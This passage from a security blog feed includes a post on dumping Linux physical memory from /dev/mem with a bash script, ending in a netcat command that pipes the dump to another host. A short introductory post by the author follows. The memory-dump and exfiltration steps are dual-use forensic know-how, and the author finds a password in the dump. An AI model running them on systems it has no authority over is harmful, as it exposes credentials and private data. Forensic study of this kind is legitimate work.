e0000000-efffffff : PCI MMCONFIG 0 [00-ff]
  e0000000-efffffff : reserved
    e0000000-efffffff : pnp 00:01
f0000000-f3ffffff : PCI CardBus 0000:87
fec00000-fec00fff : IOAPIC 0
  fec00000-fec00fff : reserved
fed00000-fed003ff : HPET 0
  fed00000-fed003ff : pnp 00:05
fed10000-fed13fff : reserved
  fed10000-fed13fff : pnp 00:01
fed18000-fed19fff : reserved
  fed18000-fed18fff : pnp 00:01
  fed19000-fed19fff : pnp 00:01
fed1c000-fed1ffff : reserved
  fed1c000-fed1ffff : pnp 00:01
fed20000-fed3ffff : pnp 00:01
fed45000-fed8ffff : pnp 00:01
fee00000-fee00fff : Local APIC
  fee00000-fee00fff : reserved
ffe80000-ffffffff : reserved
100000000-13bffffff : System RAM

We are interested in the regions labelled as System RAM. All other regions are used to map hardware resources, which depend on the hardware you have and the device drivers you are using. If you want to dump the whole RAM the theory is pretty easy.

a) Open /dev/mem
b) Open /proc/iomem
c) Go through each RAM region in /proc/iomem and dump the corresponding offsets from /dev/mem

Here is a little bash script that I wrote to do just that. It works pretty well but it has a couple of caveats we will see in a moment.

#!/bin/sh

if [[ $# -ne 0 ]]; then
	echo "USAGE: $0"
	exit 1
fi

grep '^[^ ].*$' /proc/iomem | grep 'System RAM' | while read -r LINE; do
	X0="0x`echo $LINE | sed 's|^\([^-]*\)-.*|\1|'`"
	X1="0x`echo $LINE | sed 's|^[^-]*-\([^ ]*\) .*|\1|'`"

	R0=$(( ($(printf %d $X0) / 4096)))
	R1=$(( ($(printf %d $X1) / 4096)))

	if [ $(( $(printf %d $X1) % 4096 )) -ne 0 ]; then
		R1=$(( $R1 + 1 ))
	fi

	echo "CHUNK: $X0-$X1"
	dd if=/dev/mem bs=4096 skip=$R0 count=$(( $R1 - $R0  ))
done

You might wonder what the rounding is for. On all the hardware architectures that I know of memory gets mapped in pages. On x86 a standard page is 4096 bytes but as you can see on my /proc/iomem file, the Linux kernel doesn’t always give aligned offsets for the upper limit of RAM areas. Anyway, we know that at the lowest level both limits are aligned so we just round up the non-aligned limits we find.

Now the issues. This little bash script just spits the contents of the memory to stdout, which doesn’t sound very useful. We need to store the dump somewhere so we can analyse it later searching for interesting data. Our first idea could be to just direct the dump to a file using the shell but that would have the undesired effect of filling up the kernel’s internal caches, thus wiping the data we are interesting in. So if we can’t put the dump into the hard drive why don’t we store it somewhere else on our local network? A very simple way to achieve this is to listen for a connection from a different host and then run our script piping the output to netcat.

Dest$ nc -l -p 1337 > dump
Orig$ ./mcat_poc.sh | nc dest 1337

When we do this at least 2 programs get loaded into memory and run in the origin host, i.e. netcat and a bash interpreter for mcat_poc.sh. Each of these programs has its in-memory structures in user and kernel space and depends on a bunch of shared libraries that might or might not be already loaded for their use by another program. Things are even worse if we have a look into mcat_poc.sh. Because of the way bash works some more processes are spawned, making this implementation particularly noisy. Ideally, we would like to dump all the memory in the system without modifying anything. Of course this is infeasible as we need to load the dumper itself into memory but we should try to keep this process as small as possible. My approach has been to implement the dumper in C, including the networking code. It would have been better to write it in pure assembly to get rid of libc and the crt but I think this solution is a reasonable compromise between simplicity and effectiveness. If anybody is interested in the pure assembly solution just let me know and if I have the time I will write it as well.

mcat.c

When you have the dump you can look for some memorable strings in it. I found my password in 3 different places when I ran it the first time :-) . It’s incredibly difficult to keep track of every data buffer in any reasonably large program and thus many commonly used applications have information leaks. Many library functions copy data internally, thus generating hidden duplicates that are really hard to spot in a code review. We all know coders are too lazy to test these things thoroughly. Most people don’t even test their own code, what about a library written by a guy they’ll never meet? Well, this is good for you if you are going to go bug-hunting anyway.

Happy hacking!

]]> http://www.theknotter.net/system-memory-dumps-on-linux/feed/ 2 Hi there! http://www.theknotter.net/hi-there/ http://www.theknotter.net/hi-there/#comments Wed, 05 May 2010 22:11:54 +0000 digital http://www.theknotter.net/?p=28 I’ve never had a blog before so I’m not going to tell you this is the most interesting site on the Internet. Instead I think I’ll just introduce myself and let you make up your mind.

I have been interested in computers and technology since I can remember. I’ve worked in the IT security industry for some years now and I think it’s time to share some of the things I learnt. Most of what I know I owe to my friends and colleagues so here goes a big thanks to all of you, you know who you are.

In this blog I will write about things I found specially challenging or interesting and also about the problems I have not been able to solve. Maybe someone who reads this can get the bits that I missed and post a comment back. I will try to write something every week but you never know how things will come off so I will make no promises.

I hope you find this site useful.
Take care and happy hacking!

]]> http://www.theknotter.net/hi-there/feed/ 1